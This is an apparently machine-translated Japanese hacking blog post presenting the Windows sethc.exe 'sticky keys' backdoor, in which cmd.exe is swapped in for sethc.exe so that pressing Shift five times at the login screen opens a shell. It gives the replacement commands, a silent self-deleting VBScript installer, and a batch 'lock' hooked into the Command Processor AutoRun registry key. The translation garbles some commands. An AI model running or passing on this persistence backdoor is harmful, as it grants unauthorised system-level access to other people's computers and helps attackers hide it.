変態侵入の歴史があって以来、最もクールなWindowsバックドアsethc.exe


裏門の原理:  windowsで 2000/xp/vistaの下で、shiftキーを5回押して、粘着を開けて、sethc.exeを実行します。そして、登録画面でも開けます。これはWINDOWSのスクリーンセーバーを連想させて、プログラムをcmd.exeに変えたら、shellを開けられます。  XP:  インストール元のディスクをイジェクトする(またはハードディスク上のインストールディレクトリを改名する)  cd %widnir%\system 32\dll cache  ren sethc.exe *.ex~  cd %widnir%\system 32  copy /y cmd.exe sethc.exe  VISTA:  Taeown /f c:\windows\system 32\sethc.exe  cacls c:\windows\system 32\sethc.exe /G administrator:F  XPメソッドでファイルを置換します。  ログイン画面でこのSHIFTを5つ押して、cmdが出てきます。 shell、そして…  バックドアの拡張: 

Dim obj, success   
Set obj = CreateObject("WScript.Shell")   
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)   
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)   
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)   
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)   
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)   
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)   
第二句が一番面白いです。自動応答…以前から似たような問題がありました。  また更新します。自動削除を加えて、コードを簡略化します。  

On Error Resume Next   
Dim obj, success   
Set obj = CreateObject("WScript.Shell")   
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)   
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)  
後のドアロックの拡張:  allyesno注:cmdを採用できます。 錠をかける cmdshellのパスワード検証を行います。  下のドアロックを使う方法は? コードをbdlock.batとして保存します。  そしてレジストリの位置を変更すればいいです。 

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]  
"AutoRun"="bdlock.bat"  

@Echo Off  
title    
color a  
cls  
set temprandom=%RANDOM%  
echo  :%temprandom%  
set/p check=  
if "%check%"=="%temprandom%%temprandom%" goto passcheck  
if "%check%"=="%temprandom%" (  
rem    
rem  rem   
if exist \192.168.8.8\backdoor$\pass goto passcheck  
)  
echo    
pause  
exit  
:passcheck  
echo    
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx  
Set passcmdlock=http://blog.csdn.net/freexploit/  
:allyesno  
Set Errorlevel=>nul  
Echo  ?  
Set password=allyesno Is a pig>nul  
Set/p password=  
rem    
if "%password%"=="allyesno is a sb" goto endx  
If %time:~1,1%==0 Set timechange=a  
If %time:~1,1%==1 Set timechange=b  
If %time:~1,1%==2 Set timechange=c  
If %time:~1,1%==3 Set timechange=d  
If %time:~1,1%==4 Set timechange=e  
If %time:~1,1%==5 Set timechange=f  
If %time:~1,1%==6 Set timechange=g  
If %time:~1,1%==7 Set timechange=h  
If %time:~1,1%==8 Set timechange=i  
If %time:~1,1%==9 Set timechange=j  
set/a sum=%time:~1,1%+%time:~1,1%  
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul   
If "%errorlevel%"=="0" cls&Echo  &Goto End  
Echo  !&Goto allyesno  
:End  
Set password=>nul  
Set Errorlevel=>nul  
Echo  

:endx